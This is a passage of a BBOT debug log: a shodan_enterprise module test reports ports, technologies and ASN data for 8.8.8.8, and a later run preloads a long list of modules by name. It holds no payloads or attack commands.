post-check +2026-02-27 22:17:19,459 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,460 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:17:19,461 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,461 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:17:19,462 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:17:19,462 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,463 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,463 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:17:19,464 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 22:17:19,464 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:17:19,464 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,465 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:17:19,465 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:17:19,466 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target +2026-02-27 22:17:19,467 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,467 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,468 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:17:19,468 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 22:17:19,469 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 22:17:19,469 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 22:17:19,470 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:17:19,470 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) in-scope because its main host matches the scan target +2026-02-27 22:17:19,471 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,472 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:17:19,472 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:17:19,472 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:17:19,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 22:17:19,474 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,474 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,474 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:17:19,475 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 22:17:19,475 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 22:17:19,476 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:17:19,477 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:17:19,477 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 22:17:19,478 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 22:17:19,478 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:17:19,479 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,479 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,480 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,480 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 22:17:19,481 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,481 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,482 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:17:19,482 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:17:19,483 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded +2026-02-27 22:17:19,483 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 22:17:19,484 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 22:17:19,484 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,485 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,485 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,486 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,486 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 22:17:19,487 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) because precheck succeeded +2026-02-27 22:17:19,487 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,488 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,488 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,489 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,489 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:17:19,490 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,490 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,491 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:17:19,492 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:17:19,560 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:17:19,561 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,561 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 22:17:19,562 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:17:19,562 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise +2026-02-27 22:17:19,563 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 22:17:19,563 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) from shodan_enterprise +2026-02-27 22:17:19,563 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 22:17:19,564 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:17:19,564 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,564 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:17:19,565 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:17:19,565 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 22:17:19,566 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 22:17:19,567 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 22:17:19,567 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 22:17:19,568 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 22:17:19,568 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 22:17:19,569 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 22:17:19,569 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 22:17:19,669 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 22:17:19,671 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 22:17:19,691 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 22:17:19,692 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 22:17:19,692 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 22:17:19,705 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 22:17:19,705 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 22:17:19,706 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 22:17:19,707 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 22:17:19,708 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 22:17:19,709 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 22:17:19,827 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_wb6yzq686q completed in 0 seconds with status FINISHED +2026-02-27 22:17:19,827 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 22:17:19,828 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:17:19,830 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events +2026-02-27 22:17:19,830 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-02-27 22:18:18,605 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:18:18,617 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:18:18,619 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:18:18,620 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:18:18,622 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:18:18,623 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:18:18,625 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:18:18,626 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:18:18,632 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:18:18,633 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:18:18,636 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:18:18,637 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:18:18,639 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:18:18,640 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:18:18,642 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:18:18,643 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:18:18,644 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:18:18,645 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:18:18,646 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:18:18,647 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:18:18,648 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:18:18,649 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:18:18,650 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:18:18,651 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:18:18,653 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:18:18,654 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:18:18,656 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:18:18,657 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:18:18,658 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:18:18,660 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:18:18,661 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:18:18,663 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:18:18,664 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:18:18,666 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:18:18,667 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:18:18,669 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:18:18,671 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:18:18,672 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:18:18,673 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:18:18,675 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:18:18,676 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:18:18,678 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:18:18,680 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:18:18,681 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:18:18,682 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:18:18,683 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:18:18,684 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:18:18,686 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:18:18,686 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:18:18,688 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:18:18,688 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:18:18,690 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:18:18,690 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:18:18,691 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:18:18,692 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:18:18,699 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:18:18,701 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 22:18:18,702 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:18:18,703 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:18:18,705 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:18:18,705 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 22:18:18,706 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:18:18,708 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:18:18,709 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:18:18,710 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:18:18,711 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:18:18,712 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:18:18,713 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:18:18,714 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:18:18,716 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:18:18,717 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:18:18,718 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:18:18,718 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:18:18,719 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:18:18,720 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:18:18,721 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:18:18,722 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:18:18,724 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:18:18,725 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:18:18,726 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:18:18,727 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:18:18,736 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:18:18,737 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:18:18,739 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:18:18,740 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:18:18,741 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:18:18,743 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:18:18,744 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:18:18,745 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:18:18,746 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:18:18,747 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:18:18,749 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:18:18,750 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:18:18,752 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:18:18,753 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:18:18,754 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:18:18,755 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:18:18,756 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:18:18,757 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:18:18,758 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:18:18,759 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 